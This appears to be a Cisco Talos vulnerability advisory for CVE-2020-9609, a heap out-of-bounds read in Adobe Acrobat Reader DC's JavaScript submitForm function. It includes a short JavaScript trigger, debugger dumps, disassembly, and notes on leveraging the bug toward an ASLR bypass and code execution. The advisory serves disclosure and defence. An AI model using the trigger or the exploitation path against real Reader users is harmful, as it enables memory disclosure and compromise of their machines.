CVE-2020-9609
A specific JavaScript code embedded in a PDF file can lead to out of bounds memory access when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. With careful memory manipulation, this can lead to sensitive information disclose as well as memory corruption which can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.
Adobe Reader 2020.006.20034
https://acrobat.adobe.com/us/en/acrobat/pdf-reader.html
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-122 - Heap-based Buffer Overflow
Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a big user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability.
Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout and poses additional attack surface.
Javascript submitForm
function is used to interactively submit form contents to an URL. There exists a bug in the way Adobe Acrobat processes unicode strings when calling this function which can result in reading of out of bounds memory.
Executing the following Javascript code inside a PDF document can trigger this vulnerability:
var a = "aa" + String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141)+String.fromCharCode(0x4141);
try{app.activeDocs[0].submitForm(a);}catch(e){app.alert(a);}
First line constructs a string that will contain unicode characters because 16-bit values are pased to String.fromCharCode
. Then the second line uses this string as an URL argument to the submitForm
function. The vulnerability lies in the fact that the unicode string isn’t properly terminated when converting between different types. We can observe this in the debugger:
eax=628aefe8 ebx=00000001 ecx=000000fe edx=fe956000 esi=628aefe8 edi=00000000
eip=62cc2a0c esp=0533b70c ebp=0533b710 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
IA32!PlugInMain+0x153c:
62cc2a0c e804440100 call IA32!PlugInMain+0x15945 (62cd6e15)
0:000> dd esp
0533b70c 628aefe8 0533b780 62cc22a0 628aefe8
0533b71c 628aefe8 00000000 628aefe8 61204fe8
0533b72c 00000011 61204fe8 5f9b8fe8 62cc4690
0533b73c 00000005 00000000 00000000 00000000
0533b74c 00000000 00000000 00000000 00000000
0533b75c 00000000 00000000 00000010 628aefe8
0533b76c 00000000 00000000 00000000 00000000
0533b77c 00000000 0533b7c8 62cc4c99 61204fe8
0:000> db poi(esp)
628aefe8 fe ff 00 61 00 61 41 41-41 41 41 41 41 41 41 41 ...a.aAAAAAAAAAA
628aeff8 00 d0 d0 d0 d0 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? ........????????
628af008 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af018 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af028 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af038 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af048 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af058 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
In the above output, we can see our string on the stack being passed as a first argument to a function at IA32!PlugInMain+0x15945
. Notice that it starts with UTF endinnaness marker. Also, notice that there is only one terminating NULL character by the end of the string. Function being called is simple:
62cd6e23 33d2 xor edx, edx
62cd6e25 53 push ebx
62cd6e26 8a01 mov al, byte ptr [ecx] [1]
62cd6e28 8d4902 lea ecx, [ecx+2] [3]
62cd6e2b 8a59ff mov bl, byte ptr [ecx-1] [2]
62cd6e2e 84c0 test al, al
62cd6e30 7504 jne IA32!PlugInMain+0x15966 (62cd6e36)
62cd6e32 84db test bl, bl
62cd6e34 7405 je IA32!PlugInMain+0x1596b (62cd6e3b)
62cd6e36 83c202 add edx, 2 [4]
62cd6e39 ebeb jmp IA32!PlugInMain+0x15956 (62cd6e26)
62cd6e3b 8bc2 mov eax, edx
62cd6e3d 5b pop ebx
62cd6e3e 5d pop ebp
62cd6e3f c3 ret
Above code simply iterates over the supplied string reading it byte by byte at [1] and [2] and incrementing the index at [3]. If both values read at [1] and [2] are 0x00, the loop is terminated. Counter in edx
is incremented at [4]. This is basically akin to strlen
function but counts bytes of UTF string.
Since the supplied string isn’t terminated with two NULL bytes, the loop will continue to read out of bounds memory into adjacent heap chunks and will keep incrementing the pointer until double NULL bytes are encountered. In case PageHeap is enabled, this will run into a guard page and crash with following:
(5c0.8c8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Time Travel Position: 9FA206:0
eax=628aefd0 ebx=000000d0 ecx=628af000 edx=00000018 esi=628aefe8 edi=00000000
eip=62cd6e26 esp=0533b700 ebp=0533b704 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
IA32!PlugInMain+0x15956:
62cd6e26 8a01 mov al,byte ptr [ecx] ds:002b:628af000=??
0:000> db ecx-20
628aefe0 c4 eb 34 19 bb bb ba dc-fe ff 00 61 00 61 41 41 ..4........a.aAA
628aeff0 41 41 41 41 41 41 41 41-00 d0 d0 d0 d0 d0 d0 d0 AAAAAAAA........
628af000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
628af050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
Without PageHeap, the counter will increase further which would result in an erroneous length value which can lead to further memory corruption and disclosure of sensitive memory. This wrongfully calculated length of the string can further be abused to cause a leak of out of bounds memory. In Javascript context, this could be abused to bypass mitigations such as ASLR. Furthermore, wrong string length can be abused to cause adjacent heap memory overwrite which could lead to arbitrary code execution. It should be noted that there are some restriction on when submitForm
function will actually be executed (by default only in the browser context, but there are other possibilities). Never the less, vulnerable code is always triggered.
2020-03-24 - Vendor Disclosure
2020-05-12 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.